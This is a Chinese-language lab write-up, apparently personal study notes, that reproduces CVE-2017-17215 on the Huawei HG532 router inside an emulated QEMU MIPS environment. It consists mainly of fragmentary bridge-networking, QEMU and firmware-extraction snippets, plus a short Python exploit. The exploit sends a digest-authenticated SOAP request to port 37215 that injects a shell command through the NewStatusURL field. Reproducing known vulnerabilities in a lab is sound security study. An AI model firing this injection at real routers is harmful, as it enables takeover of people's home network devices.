CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

# interfaces(5) file used by ifup(8) and ifdown(8)auto loiface lo inet loopback auto ens33iface ens33 inet manualup ifconfig ens33 0.0.0.0 up auto br0iface br0 inet dhcp bridge_ports ens33bridge_maxwait 0

#!/bin/sh# Script to bring a network (tap) device for qemu up.# The idea is to add the tap device to the same bridge# as we have default routing to. # in order to be able to find brctlecho "Executing /etc/qemu-ifup"echo "Bringing $1 for bridge mode..."sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..."sudo /sbin/brctl addif br0 $1sleep 3

#启动桥接网络赋予可执行权限sudo chmod a+x /etc/qemu-ifup#重启网络服务，使配置生效（注意这个地方配置正常之后，如果你是mac，可能会让你输入mac密码，windows我不知道）sudo /etc/init.d/networking restart#关闭ens33，启动桥接网络br0（这里如果显示eth0不存在没关系，直接启动br0）sudo ifdown eth0sudo ifup br0

  sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic

    如果你的多次运行qemu，可能会出现如下错误
    <img src="https://i.loli.net/2021/09/02/Pa1zTB9lYoLteEg.png" alt="image-20210902143652004" style="zoom:50%;" />
    这是服务没有退出导致的
    ps查出当前qemu进程号，kill掉就好了
    ps -e | grep 'qemu'
    <img src="https://i.loli.net/2021/09/02/aRwVdGWEtqnrKPy.png" alt="image-20210902143845743" style="zoom:50%;" />
    sudo kill 3307
    即可

  nano /etc/network/interfaces

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

  chroot /root/squashfs-root /bin/sh

  nc -vv 192.168.183.161 37215

import requests
headers = {    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}
data = '''<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>;/bin/busybox ls;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'''requests.post('http://192.168.183.161:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

apt-get install qemu qemu-system qemu-user-static

apt-get install libglib2.0 libglib2.0-dev autoconf automake libtool uml-utilities bridge-utils

brctl addbr Virbr0ifconfig Virbr0 192.168.183.100/24 up

qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

ifconfig eth0 192.168.183.102/24 up

https://bbs.pediy.com/thread-269188.htm#msg_header_h1_1https://zhuanlan.zhihu.com/p/486923010